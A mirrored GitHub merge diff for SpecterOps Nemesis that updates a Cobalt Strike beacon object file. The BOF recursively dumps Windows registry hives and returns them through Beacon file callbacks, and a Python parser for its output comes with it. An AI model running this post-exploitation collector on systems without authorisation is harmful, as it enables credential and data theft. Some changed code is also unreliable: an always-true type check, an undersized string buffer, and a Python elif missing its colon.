mirror of
https://github.com/SpecterOps/Nemesis
synced 2026-06-08 12:36:42 +00:00
Merge pull request #4 from SpecterOps/reg_bof_collect_update
Update bof_reg_collect
This commit is contained in:
@@ -0,0 +1,5 @@
|
||||
build/nemesis_bof.x64.o
|
||||
build/nemesis_bof.x86.o
|
||||
build/reg_collect.x64.o
|
||||
build/reg_collect.x86.o
|
||||
.mypy_cache
|
||||
@@ -15,6 +15,8 @@ bof_reg_collect <HKCR|HKCU|HKLM|HKU|HKCC> <path>
|
||||
|
||||
3. Parse output with `nemesis_reg_collect_parser.py`
|
||||
|
||||
Note: To download a full hive, use an empty string as the path. Ex `bof_reg_collect HKLM ""`
|
||||
|
||||
```
|
||||
python3 nemesis_reg_collect_parser.py <input.txt> <output.json>
|
||||
```
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -17,13 +17,13 @@ typedef struct _queue {
|
||||
} queue, *Pqueue;
|
||||
|
||||
int _size(Pqueue q) {
|
||||
int retval = 0;
|
||||
Pitem i = q->head;
|
||||
while (i != NULL) {
|
||||
retval++;
|
||||
i = i->next;
|
||||
}
|
||||
return retval;
|
||||
int retval = 0;
|
||||
Pitem i = q->head;
|
||||
while (i != NULL) {
|
||||
retval++;
|
||||
i = i->next;
|
||||
}
|
||||
return retval;
|
||||
}
|
||||
void _push(Pqueue q, void *v) {
|
||||
Pitem i = (Pitem)intAlloc(sizeof(item));
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
#define CHUNK_SIZE 0xe1000
|
||||
|
||||
// https://github.com/helpsystems/nanodump/blob/3262e14d2652e21a9e7efc3960a796128c410f18/source/utils.c#L630-L728
|
||||
BOOL UploadFile(LPCSTR fileName, char fileData[], ULONG32 fileLength) {
|
||||
BOOL upload_file(LPCSTR fileName, char fileData[], ULONG32 fileLength) {
|
||||
int fileNameLength = MSVCRT$strnlen(fileName, 256);
|
||||
|
||||
// intializes the random number generator
|
||||
@@ -87,4 +87,4 @@ BOOL UploadFile(LPCSTR fileName, char fileData[], ULONG32 fileLength) {
|
||||
packedClose[3] = (fileId >> 0x00) & 0xFF;
|
||||
BeaconOutput(CALLBACK_FILE_CLOSE, packedClose, 4);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
+40
-22
@@ -1,7 +1,7 @@
|
||||
import struct
|
||||
from typing import Tuple, NamedTuple, Union, List
|
||||
import sys
|
||||
import json
|
||||
import struct
|
||||
import sys
|
||||
from typing import List, NamedTuple, Tuple, Union
|
||||
|
||||
REG_NONE = 0
|
||||
REG_SZ = 1
|
||||
@@ -11,38 +11,45 @@ REG_DWORD = 4
|
||||
REG_DWORD_BIG_ENDIAN = 5
|
||||
REG_LINK = 6
|
||||
REG_MULTI_SZ = 7
|
||||
# REG_RESOURCE_LIST = 8
|
||||
# REG_FULL_RESOURCE_DESCRIPTOR = 9
|
||||
# REG_RESOURCE_REQUIREMENTS_LIST = 10
|
||||
REG_RESOURCE_LIST = 8
|
||||
REG_FULL_RESOURCE_DESCRIPTOR = 9
|
||||
REG_RESOURCE_REQUIREMENTS_LIST = 10
|
||||
REG_QWORD = 11
|
||||
|
||||
|
||||
def read_unsigned_int(data: bytes) -> Tuple[int, bytes]:
|
||||
(ret,), data = struct.unpack('>I', data[:4]), data[4:]
|
||||
(ret,), data = struct.unpack(">I", data[:4]), data[4:]
|
||||
return ret, data
|
||||
|
||||
|
||||
def read_unsigned_long(data: bytes) -> Tuple[int, bytes]:
|
||||
(ret,), data = struct.unpack('<L', data[:4]), data[4:]
|
||||
(ret,), data = struct.unpack("<L", data[:4]), data[4:]
|
||||
return ret, data
|
||||
|
||||
|
||||
def read_unsigned_long_be(data: bytes) -> Tuple[int, bytes]:
|
||||
(ret,), data = struct.unpack('>L', data[:4]), data[4:]
|
||||
(ret,), data = struct.unpack(">L", data[:4]), data[4:]
|
||||
return ret, data
|
||||
|
||||
|
||||
def read_unsigned_long_long(data: bytes) -> Tuple[int, bytes]:
|
||||
(ret,), data = struct.unpack('<Q', data[:8]), data[8:]
|
||||
(ret,), data = struct.unpack("<Q", data[:8]), data[8:]
|
||||
return ret, data
|
||||
|
||||
|
||||
def read_fixed_string(data: bytes, length: int) -> Tuple[bytes, bytes]:
|
||||
(ret,) = struct.unpack(f'>{length}s', data[:length])
|
||||
(ret,) = struct.unpack(f">{length}s", data[:length])
|
||||
return ret, data[length:]
|
||||
|
||||
|
||||
def read_string(data: bytes) -> Tuple[bytes, int, bytes]:
|
||||
size, data = read_unsigned_int(data)
|
||||
if size == 0:
|
||||
return b'', size, data
|
||||
return b"", size, data
|
||||
ret, data = read_fixed_string(data, size)
|
||||
return ret, size, data
|
||||
|
||||
|
||||
class RegKey(NamedTuple):
|
||||
type_: int
|
||||
path: str
|
||||
@@ -52,23 +59,30 @@ class RegKey(NamedTuple):
|
||||
value: Union[bytes, int, List[bytes]]
|
||||
value_size: int
|
||||
|
||||
|
||||
def read_key(data: bytes) -> Tuple[RegKey, bytes]:
|
||||
type_, data = read_unsigned_int(data)
|
||||
path, path_size, data = read_string(data)
|
||||
path = path.decode('utf-16')
|
||||
path = path.decode("utf-16")
|
||||
|
||||
key, key_size, data = read_string(data)
|
||||
key = key.decode('utf-16')
|
||||
key = key.decode("utf-16")
|
||||
|
||||
value = b''
|
||||
value = b""
|
||||
value_length = 0
|
||||
|
||||
if type_ == REG_NONE:
|
||||
_, data = read_unsigned_int(data)
|
||||
value = None
|
||||
elif type_ == REG_DWORD:
|
||||
_, data = read_unsigned_int(data)
|
||||
value, data = read_unsigned_long(data)
|
||||
elif type_ == REG_BINARY:
|
||||
elif type_ in [
|
||||
REG_BINARY,
|
||||
REG_RESOURCE_LIST,
|
||||
REG_FULL_RESOURCE_DESCRIPTOR,
|
||||
REG_LINK,
|
||||
]:
|
||||
value, value_length, data = read_string(data)
|
||||
value = list(value)
|
||||
elif type_ == REG_DWORD_BIG_ENDIAN:
|
||||
@@ -76,25 +90,29 @@ def read_key(data: bytes) -> Tuple[RegKey, bytes]:
|
||||
value, data = read_unsigned_long_be(data)
|
||||
elif type_ == REG_MULTI_SZ:
|
||||
value, value_length, data = read_string(data)
|
||||
value = [v for v in value.decode('utf-16').split('\0') if v != '']
|
||||
value = [v for v in value.decode("utf-16").split("\0") if v != ""]
|
||||
elif type_ == REG_QWORD:
|
||||
_, data = read_unsigned_int(data)
|
||||
value, data = read_unsigned_long_long(data)
|
||||
else:
|
||||
value, value_length, data = read_string(data)
|
||||
value = value.decode('utf-16')
|
||||
try:
|
||||
value = value.decode("utf-16")
|
||||
except Exception as e:
|
||||
value = value.decode("latin-1")
|
||||
|
||||
return RegKey(type_, path, path_size, key, key_size, value, value_length), data
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) != 3:
|
||||
print('Usage: python nemesis_reg_parser.py <input file> <output file>')
|
||||
print("Usage: python nemesis_reg_parser.py <input file> <output file>")
|
||||
sys.exit(1)
|
||||
|
||||
input_path = sys.argv[1]
|
||||
output_path = sys.argv[2]
|
||||
|
||||
with open(input_path, 'rb') as f:
|
||||
with open(input_path, "rb") as f:
|
||||
data = f.read()
|
||||
arr = []
|
||||
arr_size, data = read_unsigned_int(data)
|
||||
@@ -102,5 +120,5 @@ if __name__ == '__main__':
|
||||
for i in range(arr_size):
|
||||
reg_key, data = read_key(data)
|
||||
arr.append(reg_key._asdict())
|
||||
with open(output_path, 'w') as f:
|
||||
with open(output_path, "w") as f:
|
||||
json.dump(arr, f)
|
||||
|
||||
@@ -11,7 +11,7 @@ sub readbof {
|
||||
{
|
||||
berror($1, "could not read bof file");
|
||||
}
|
||||
|
||||
|
||||
$msg = iff( ($3 eq $null || $3 eq ""), "Running $2", $3);
|
||||
blog($1, $msg);
|
||||
btask($1, $msg);
|
||||
@@ -38,4 +38,5 @@ beacon_command_register(
|
||||
"bof_reg_collect",
|
||||
"Does Nemesis registry things",
|
||||
"Usage: bof_reg_collect <HKCR|HKCU|HKLM|HKU|HKCC> <path>"
|
||||
|
||||
);
|
||||
@@ -21,23 +21,36 @@ typedef struct _RegPath {
|
||||
wchar_t *value;
|
||||
} RegPath;
|
||||
|
||||
wchar_t *path_join(const wchar_t *path1, wchar_t *path2) {
|
||||
int path1Length = MSVCRT$wcslen(path1);
|
||||
int path2Length = MSVCRT$wcslen(path2);
|
||||
int totalLength = path1Length + path2Length + 2;
|
||||
wchar_t *joined_path = intAlloc(totalLength * sizeof(wchar_t));
|
||||
if (!joined_path) {
|
||||
wchar_t *path_join(const wchar_t *path1, const wchar_t *path2) {
|
||||
wchar_t *new_path;
|
||||
if (MSVCRT$wcscmp(path1, L"") == 0) {
|
||||
int path_length = MSVCRT$wcslen(path2);
|
||||
new_path = intAlloc(path_length * sizeof(wchar_t));
|
||||
MSVCRT$wcscpy(new_path, path2);
|
||||
return new_path;
|
||||
}
|
||||
if (MSVCRT$wcscmp(path2, L"") == 0) {
|
||||
int path_length = MSVCRT$wcslen(path1);
|
||||
new_path = intAlloc(path_length * sizeof(wchar_t));
|
||||
MSVCRT$wcscpy(new_path, path1);
|
||||
return new_path;
|
||||
}
|
||||
int path1len = MSVCRT$wcslen(path1);
|
||||
int path2len = MSVCRT$wcslen(path2);
|
||||
int totallen = path1len + path2len + 2;
|
||||
new_path = intAlloc(totallen * sizeof(wchar_t));
|
||||
if (!new_path) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "Could not allocate memory for joined path");
|
||||
return NULL;
|
||||
}
|
||||
MSVCRT$wcscpy(joined_path, path1);
|
||||
MSVCRT$wcscat(joined_path, L"\\");
|
||||
MSVCRT$wcscat(joined_path, path2);
|
||||
return joined_path;
|
||||
MSVCRT$wcscpy(new_path, path1);
|
||||
MSVCRT$wcscat(new_path, L"\\");
|
||||
MSVCRT$wcscat(new_path, path2);
|
||||
return new_path;
|
||||
}
|
||||
|
||||
void QueryRegistryPath(Pqueue queue, HKEY hive, const wchar_t *arg_hive,
|
||||
const wchar_t *key_path, bool recurse) {
|
||||
void query_registry_path(Pqueue queue, HKEY hive, const wchar_t *arg_hive,
|
||||
const wchar_t *key_path, bool recurse) {
|
||||
HKEY target_reg_key;
|
||||
DWORD rc1, rc2, rc3, rc4;
|
||||
|
||||
@@ -45,21 +58,21 @@ void QueryRegistryPath(Pqueue queue, HKEY hive, const wchar_t *arg_hive,
|
||||
KEY_READ | KEY_ENUMERATE_SUB_KEYS |
|
||||
KEY_QUERY_VALUE,
|
||||
&target_reg_key)) == ERROR_SUCCESS) {
|
||||
WCHAR achClass[MAX_PATH]; // buffer for class name
|
||||
DWORD cchClassName = MAX_PATH; // size of class string
|
||||
WCHAR ach_class[MAX_PATH]; // buffer for class name
|
||||
DWORD cch_class_name = MAX_PATH; // size of class string
|
||||
DWORD num_subkeys = 0; // number of subkeys
|
||||
DWORD max_subkey_length; // longest subkey size
|
||||
DWORD cchMaxClass; // longest class string
|
||||
DWORD max_class; // longest class string
|
||||
DWORD num_values; // number of values for key
|
||||
DWORD max_key_length; // longest value name
|
||||
DWORD max_value_length; // longest value data
|
||||
DWORD cbSecurityDescriptor; // size of security descriptor
|
||||
DWORD security_descriptor_length; // size of security descriptor
|
||||
DWORD i;
|
||||
|
||||
if ((rc2 = ADVAPI32$RegQueryInfoKeyW(
|
||||
target_reg_key, achClass, &cchClassName, NULL, &num_subkeys,
|
||||
&max_subkey_length, &cchMaxClass, &num_values, &max_key_length,
|
||||
&max_value_length, &cbSecurityDescriptor, NULL)) ==
|
||||
target_reg_key, ach_class, &cch_class_name, NULL, &num_subkeys,
|
||||
&max_subkey_length, &max_class, &num_values, &max_key_length,
|
||||
&max_value_length, &security_descriptor_length, NULL)) ==
|
||||
ERROR_SUCCESS) {
|
||||
|
||||
// Enumerate Subkeys and recurse
|
||||
@@ -70,9 +83,10 @@ void QueryRegistryPath(Pqueue queue, HKEY hive, const wchar_t *arg_hive,
|
||||
if ((rc3 = ADVAPI32$RegEnumKeyExW(target_reg_key, i, subkey_name,
|
||||
&subkey_name_size, NULL, NULL, NULL,
|
||||
NULL)) == ERROR_SUCCESS) {
|
||||
|
||||
if (recurse) {
|
||||
wchar_t *new_key = path_join(key_path, subkey_name);
|
||||
QueryRegistryPath(queue, hive, arg_hive, new_key, recurse);
|
||||
query_registry_path(queue, hive, arg_hive, new_key, recurse);
|
||||
intFree(new_key);
|
||||
}
|
||||
} else {
|
||||
@@ -93,86 +107,78 @@ void QueryRegistryPath(Pqueue queue, HKEY hive, const wchar_t *arg_hive,
|
||||
if ((rc4 = ADVAPI32$RegEnumValueW(
|
||||
target_reg_key, i, key, &key_length, NULL, &value_type,
|
||||
value_data, &value_data_length)) == ERROR_SUCCESS) {
|
||||
RegPath *regPath = (RegPath *)intAlloc(sizeof(RegPath));
|
||||
queue->push(queue, regPath);
|
||||
regPath->type = value_type;
|
||||
RegPath *reg_path = (RegPath *)intAlloc(sizeof(RegPath));
|
||||
queue->push(queue, reg_path);
|
||||
reg_path->type = value_type;
|
||||
|
||||
wchar_t *total_path = path_join(arg_hive, key_path);
|
||||
size_t total_path_length = MSVCRT$wcslen(total_path);
|
||||
regPath->path_length = total_path_length * sizeof(wchar_t);
|
||||
regPath->path = (wchar_t *)intAlloc(total_path_length * sizeof(wchar_t));
|
||||
MSVCRT$memcpy(regPath->path, total_path,
|
||||
reg_path->path_length = total_path_length * sizeof(wchar_t);
|
||||
reg_path->path =
|
||||
(wchar_t *)intAlloc(total_path_length * sizeof(wchar_t));
|
||||
MSVCRT$memcpy(reg_path->path, total_path,
|
||||
total_path_length * sizeof(wchar_t));
|
||||
intFree(total_path);
|
||||
|
||||
regPath->key_length = key_length * sizeof(wchar_t);
|
||||
regPath->key = (wchar_t *)intAlloc(key_length * sizeof(wchar_t));
|
||||
MSVCRT$memcpy(regPath->key, key, key_length * sizeof(wchar_t));
|
||||
reg_path->key_length = key_length * sizeof(wchar_t);
|
||||
reg_path->key = (wchar_t *)intAlloc(key_length * sizeof(wchar_t));
|
||||
MSVCRT$memcpy(reg_path->key, key, key_length * sizeof(wchar_t));
|
||||
|
||||
if (value_type == REG_NONE) {
|
||||
regPath->value_length = 0;
|
||||
regPath->value = NULL;
|
||||
reg_path->value_length = 0;
|
||||
reg_path->value = NULL;
|
||||
} else if (value_type == REG_SZ) {
|
||||
regPath->value_length = value_data_length;
|
||||
regPath->value = (wchar_t *)intAlloc(value_data_length);
|
||||
MSVCRT$memcpy(regPath->value, value_data, value_data_length);
|
||||
reg_path->value_length = value_data_length;
|
||||
reg_path->value = (wchar_t *)intAlloc(value_data_length);
|
||||
MSVCRT$memcpy(reg_path->value, value_data, value_data_length);
|
||||
} else if (value_type == REG_EXPAND_SZ) {
|
||||
wchar_t *raw_value = (wchar_t *)intAlloc(value_data_length);
|
||||
MSVCRT$memcpy(raw_value, value_data, value_data_length);
|
||||
// Use ExpandEnvironmentStringsW to expand the string
|
||||
DWORD expandedSize =
|
||||
KERNEL32$ExpandEnvironmentStringsW(raw_value, NULL, 0);
|
||||
DWORD total_size = (expandedSize + 1) * sizeof(wchar_t);
|
||||
wchar_t *expanded = (wchar_t *)intAlloc(total_size);
|
||||
KERNEL32$ExpandEnvironmentStringsW(raw_value, expanded,
|
||||
expandedSize);
|
||||
// Copy the expanded string into the value
|
||||
regPath->value_length = total_size;
|
||||
regPath->value = expanded;
|
||||
intFree(raw_value);
|
||||
} else if (value_type == REG_BINARY) {
|
||||
regPath->value_length = value_data_length;
|
||||
regPath->value = (wchar_t *)intAlloc(value_data_length);
|
||||
MSVCRT$memcpy(regPath->value, value_data, value_data_length);
|
||||
reg_path->value_length = value_data_length;
|
||||
reg_path->value = (wchar_t *)intAlloc(value_data_length);
|
||||
MSVCRT$memcpy(reg_path->value, value_data, value_data_length);
|
||||
} else if (value_type == REG_DWORD ||
|
||||
value_type == REG_DWORD_BIG_ENDIAN) {
|
||||
regPath->value_length = sizeof(DWORD);
|
||||
regPath->value = (wchar_t *)intAlloc(sizeof(DWORD));
|
||||
reg_path->value_length = sizeof(DWORD);
|
||||
reg_path->value = (wchar_t *)intAlloc(sizeof(DWORD));
|
||||
DWORD value = *(DWORD *)value_data;
|
||||
MSVCRT$memcpy(regPath->value, &value, sizeof(DWORD));
|
||||
} else if (value_type == REG_LINK) {
|
||||
// TODO
|
||||
} else if (value_type == REG_MULTI_SZ) {
|
||||
regPath->value_length = value_data_length;
|
||||
regPath->value = (wchar_t *)intAlloc(value_data_length);
|
||||
MSVCRT$memcpy(regPath->value, value_data, value_data_length);
|
||||
MSVCRT$memcpy(reg_path->value, &value, sizeof(DWORD));
|
||||
} else if (value_type == REG_BINARY || REG_LINK ||
|
||||
value_type == REG_MULTI_SZ ||
|
||||
value_type == REG_RESOURCE_LIST ||
|
||||
value_type == REG_FULL_RESOURCE_DESCRIPTOR ||
|
||||
value_type == REG_RESOURCE_REQUIREMENTS_LIST) {
|
||||
reg_path->value_length = value_data_length;
|
||||
reg_path->value = (wchar_t *)intAlloc(value_data_length);
|
||||
MSVCRT$memcpy(reg_path->value, value_data, value_data_length);
|
||||
} else if (value_type == REG_QWORD) {
|
||||
regPath->value_length = sizeof(QWORD);
|
||||
regPath->value = (wchar_t *)intAlloc(sizeof(QWORD));
|
||||
reg_path->value_length = sizeof(QWORD);
|
||||
reg_path->value = (wchar_t *)intAlloc(sizeof(QWORD));
|
||||
QWORD value = *(QWORD *)value_data;
|
||||
MSVCRT$memcpy(regPath->value, &value, sizeof(QWORD));
|
||||
MSVCRT$memcpy(reg_path->value, &value, sizeof(QWORD));
|
||||
} else {
|
||||
BeaconPrintf(CALLBACK_ERROR, "Unsupported type: %d\n",
|
||||
value_type);
|
||||
regPath->value_length = 0;
|
||||
reg_path->value_length = value_data_length;
|
||||
reg_path->value = (wchar_t *)intAlloc(value_data_length);
|
||||
MSVCRT$memcpy(reg_path->value, value_data, value_data_length);
|
||||
}
|
||||
} else {
|
||||
BeaconPrintf(CALLBACK_ERROR, "Error code: %li\n", rc4);
|
||||
BeaconPrintf(CALLBACK_ERROR, "[WARNING] Error code: %li\n", rc4);
|
||||
}
|
||||
intFree(key);
|
||||
intFree(value_data);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
BeaconPrintf(CALLBACK_ERROR, "RegQueryInfoKeyW returned error: %d\n",
|
||||
rc2);
|
||||
// BeaconPrintf(CALLBACK_ERROR, "RegQueryInfoKeyW returned error: %d\n",
|
||||
// rc2);
|
||||
}
|
||||
} else {
|
||||
BeaconPrintf(CALLBACK_ERROR, "RegOpenKeyExW returned error: %d\n", rc1);
|
||||
// BeaconPrintf(CALLBACK_ERROR, "RegOpenKeyExW returned error: %d\n", rc1);
|
||||
}
|
||||
ADVAPI32$RegCloseKey(target_reg_key);
|
||||
}
|
||||
|
||||
void FormatUploadRegistryData(Pqueue queue, char *upload_file_name) {
|
||||
void format_upload_registry_data(Pqueue queue, char *upload_file_name) {
|
||||
Pitem cursor;
|
||||
RegPath *curitem;
|
||||
formatp obj;
|
||||
@@ -220,7 +226,7 @@ void FormatUploadRegistryData(Pqueue queue, char *upload_file_name) {
|
||||
queue->free(queue);
|
||||
|
||||
out = BeaconFormatToString(&obj, &fmt_size);
|
||||
UploadFile(upload_file_name, out, fmt_size);
|
||||
upload_file(upload_file_name, out, fmt_size);
|
||||
BeaconFormatFree(&obj);
|
||||
}
|
||||
|
||||
@@ -239,6 +245,12 @@ void go(char *args, int alen) {
|
||||
arg_hive = BeaconDataExtract(&parser, NULL);
|
||||
arg_path = BeaconDataExtract(&parser, NULL);
|
||||
|
||||
if (arg_file_name == NULL || arg_hive == NULL || arg_path == NULL) {
|
||||
BeaconPrintf(CALLBACK_ERROR,
|
||||
"Usage: bof_reg_collect <file_name> <hive> <path>\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if (MSVCRT$strcmp(arg_hive, "HKCR") == 0) {
|
||||
target_hive = HKEY_CLASSES_ROOT;
|
||||
} else if (MSVCRT$strcmp(arg_hive, "HKCU") == 0) {
|
||||
@@ -264,10 +276,11 @@ void go(char *args, int alen) {
|
||||
path = (wchar_t *)intAlloc(wchars_num * sizeof(wchar_t));
|
||||
KERNEL32$MultiByteToWideChar(CP_UTF8, 0, arg_path, -1, path, wchars_num);
|
||||
|
||||
QueryRegistryPath(queue, target_hive, arg_hive_w, path, true);
|
||||
query_registry_path(queue, target_hive, arg_hive_w, path, true);
|
||||
|
||||
num_keys = queue->size(queue);
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "Total reg keys: %d", num_keys);
|
||||
if (num_keys != 0)
|
||||
FormatUploadRegistryData(queue, arg_file_name);
|
||||
format_upload_registry_data(queue, arg_file_name);
|
||||
intFree(path);
|
||||
}
|
||||
|
||||
@@ -1,9 +1,7 @@
|
||||
# Standard Libraries
|
||||
import base64
|
||||
import json
|
||||
import struct
|
||||
from typing import Tuple, NamedTuple, Union, List
|
||||
import sys
|
||||
from typing import List, NamedTuple, Tuple, Union
|
||||
import json
|
||||
|
||||
REG_NONE = 0
|
||||
REG_SZ = 1
|
||||
@@ -13,11 +11,37 @@ REG_DWORD = 4
|
||||
REG_DWORD_BIG_ENDIAN = 5
|
||||
REG_LINK = 6
|
||||
REG_MULTI_SZ = 7
|
||||
# REG_RESOURCE_LIST = 8
|
||||
# REG_FULL_RESOURCE_DESCRIPTOR = 9
|
||||
# REG_RESOURCE_REQUIREMENTS_LIST = 10
|
||||
REG_RESOURCE_LIST = 8
|
||||
REG_FULL_RESOURCE_DESCRIPTOR = 9
|
||||
REG_RESOURCE_REQUIREMENTS_LIST = 10
|
||||
REG_QWORD = 11
|
||||
|
||||
def read_unsigned_int(data: bytes) -> Tuple[int, bytes]:
|
||||
(ret,), data = struct.unpack('>I', data[:4]), data[4:]
|
||||
return ret, data
|
||||
|
||||
def read_unsigned_long(data: bytes) -> Tuple[int, bytes]:
|
||||
(ret,), data = struct.unpack('<L', data[:4]), data[4:]
|
||||
return ret, data
|
||||
|
||||
def read_unsigned_long_be(data: bytes) -> Tuple[int, bytes]:
|
||||
(ret,), data = struct.unpack('>L', data[:4]), data[4:]
|
||||
return ret, data
|
||||
|
||||
def read_unsigned_long_long(data: bytes) -> Tuple[int, bytes]:
|
||||
(ret,), data = struct.unpack('<Q', data[:8]), data[8:]
|
||||
return ret, data
|
||||
|
||||
def read_fixed_string(data: bytes, length: int) -> Tuple[bytes, bytes]:
|
||||
(ret,) = struct.unpack(f'>{length}s', data[:length])
|
||||
return ret, data[length:]
|
||||
|
||||
def read_string(data: bytes) -> Tuple[bytes, int, bytes]:
|
||||
size, data = read_unsigned_int(data)
|
||||
if size == 0:
|
||||
return b'', size, data
|
||||
ret, data = read_fixed_string(data, size)
|
||||
return ret, size, data
|
||||
|
||||
class RegKey(NamedTuple):
|
||||
type_: int
|
||||
@@ -28,97 +52,59 @@ class RegKey(NamedTuple):
|
||||
value: Union[bytes, int, List[bytes]]
|
||||
value_size: int
|
||||
|
||||
def read_key(data: bytes) -> Tuple[RegKey, bytes]:
|
||||
type_, data = read_unsigned_int(data)
|
||||
path, path_size, data = read_string(data)
|
||||
path = path.decode('utf-16')
|
||||
|
||||
class BofRegCollect:
|
||||
def __init__(self, data: bytes):
|
||||
self.data = data
|
||||
key, key_size, data = read_string(data)
|
||||
key = key.decode('utf-16')
|
||||
|
||||
@classmethod
|
||||
def from_file(cls, path: str) -> "BofRegCollect":
|
||||
with open(path, "rb") as f:
|
||||
return cls(f.read())
|
||||
value = b''
|
||||
value_length = 0
|
||||
|
||||
def read_unsigned_int(self) -> int:
|
||||
(ret,), self.data = struct.unpack(">I", self.data[:4]), self.data[4:]
|
||||
return ret
|
||||
if type_ == REG_NONE:
|
||||
_, data = read_unsigned_int(data)
|
||||
value = None
|
||||
elif type_ == REG_DWORD:
|
||||
_, data = read_unsigned_int(data)
|
||||
value, data = read_unsigned_long(data)
|
||||
elif type_ in [REG_BINARY, REG_RESOURCE_LIST, REG_FULL_RESOURCE_DESCRIPTOR, REG_LINK]
|
||||
value, value_length, data = read_string(data)
|
||||
value = list(value)
|
||||
elif type_ == REG_DWORD_BIG_ENDIAN:
|
||||
_, data = read_unsigned_int(data)
|
||||
value, data = read_unsigned_long_be(data)
|
||||
elif type_ == REG_MULTI_SZ:
|
||||
value, value_length, data = read_string(data)
|
||||
value = [v for v in value.decode('utf-16').split('\0') if v != '']
|
||||
elif type_ == REG_QWORD:
|
||||
_, data = read_unsigned_int(data)
|
||||
value, data = read_unsigned_long_long(data)
|
||||
else:
|
||||
value, value_length, data = read_string(data)
|
||||
try:
|
||||
value = value.decode('utf-16')
|
||||
except Exception as e:
|
||||
value = value.decode('latin-1')
|
||||
|
||||
def read_unsigned_long(self) -> int:
|
||||
(ret,), self.data = struct.unpack("<L", self.data[:4]), self.data[4:]
|
||||
return ret
|
||||
return RegKey(type_, path, path_size, key, key_size, value, value_length), data
|
||||
|
||||
def read_unsigned_long_be(self) -> int:
|
||||
(ret,), self.data = struct.unpack(">L", self.data[:4]), self.data[4:]
|
||||
return ret
|
||||
|
||||
def read_unsigned_long_long(self) -> int:
|
||||
(ret,), self.data = struct.unpack("<Q", self.data[:8]), self.data[8:]
|
||||
return ret
|
||||
|
||||
def read_fixed_string(self, length: int) -> bytes:
|
||||
(ret,), self.data = struct.unpack(f">{length}s", self.data[:length]), self.data[length:]
|
||||
return ret
|
||||
|
||||
def read_string(self) -> Tuple[bytes, int]:
|
||||
size = self.read_unsigned_int()
|
||||
if size == 0:
|
||||
return b"", size
|
||||
ret = self.read_fixed_string(size)
|
||||
return ret, size
|
||||
|
||||
def read_key(self) -> Tuple[RegKey, bytes]:
|
||||
type_ = self.read_unsigned_int()
|
||||
path, path_size = self.read_string()
|
||||
path = path.decode("utf-16")
|
||||
|
||||
key, key_size = self.read_string()
|
||||
key = key.decode("utf-16")
|
||||
if key == "(default)":
|
||||
key = ""
|
||||
|
||||
value = b""
|
||||
value_length = 0
|
||||
|
||||
if type_ == REG_NONE:
|
||||
self.read_unsigned_int()
|
||||
elif type_ == REG_DWORD:
|
||||
self.read_unsigned_int()
|
||||
value = self.read_unsigned_long()
|
||||
elif type_ == REG_BINARY:
|
||||
value, value_length = self.read_string()
|
||||
value = base64.b64encode(value).decode("ASCII")
|
||||
elif type_ == REG_DWORD_BIG_ENDIAN:
|
||||
self.read_unsigned_int()
|
||||
value = self.read_unsigned_long_be()
|
||||
elif type_ == REG_MULTI_SZ:
|
||||
value, value_length = self.read_string()
|
||||
value = [v for v in value.decode("utf-16").split("\0") if v != ""]
|
||||
elif type_ == REG_QWORD:
|
||||
self.read_unsigned_int()
|
||||
value = self.read_unsigned_long_long()
|
||||
else:
|
||||
value, value_length = self.read_string()
|
||||
value = value.decode("utf-16").strip("\x00")
|
||||
|
||||
return RegKey(type_, path, path_size, key, key_size, value, value_length)
|
||||
|
||||
def parse(self) -> List[RegKey]:
|
||||
arr = []
|
||||
arr_size = self.read_unsigned_int()
|
||||
|
||||
for i in range(arr_size):
|
||||
reg_key = self.read_key()
|
||||
arr.append(reg_key)
|
||||
return arr
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
if __name__ == '__main__':
|
||||
if len(sys.argv) != 3:
|
||||
print("Usage: python nemesis_reg_parser.py <input file> <output file>")
|
||||
print('Usage: python nemesis_reg_parser.py <input file> <output file>')
|
||||
sys.exit(1)
|
||||
|
||||
input_path = sys.argv[1]
|
||||
output_path = sys.argv[2]
|
||||
|
||||
reg = [k._asdict() for k in BofRegCollect.from_file(input_path).parse()]
|
||||
with open(output_path, "w") as f:
|
||||
json.dump(reg, f)
|
||||
with open(input_path, 'rb') as f:
|
||||
data = f.read()
|
||||
arr = []
|
||||
arr_size, data = read_unsigned_int(data)
|
||||
|
||||
for i in range(arr_size):
|
||||
reg_key, data = read_key(data)
|
||||
arr.append(reg_key._asdict())
|
||||
with open(output_path, 'w') as f:
|
||||
json.dump(arr, f)
|
||||
|
||||
Reference in New Issue
Block a user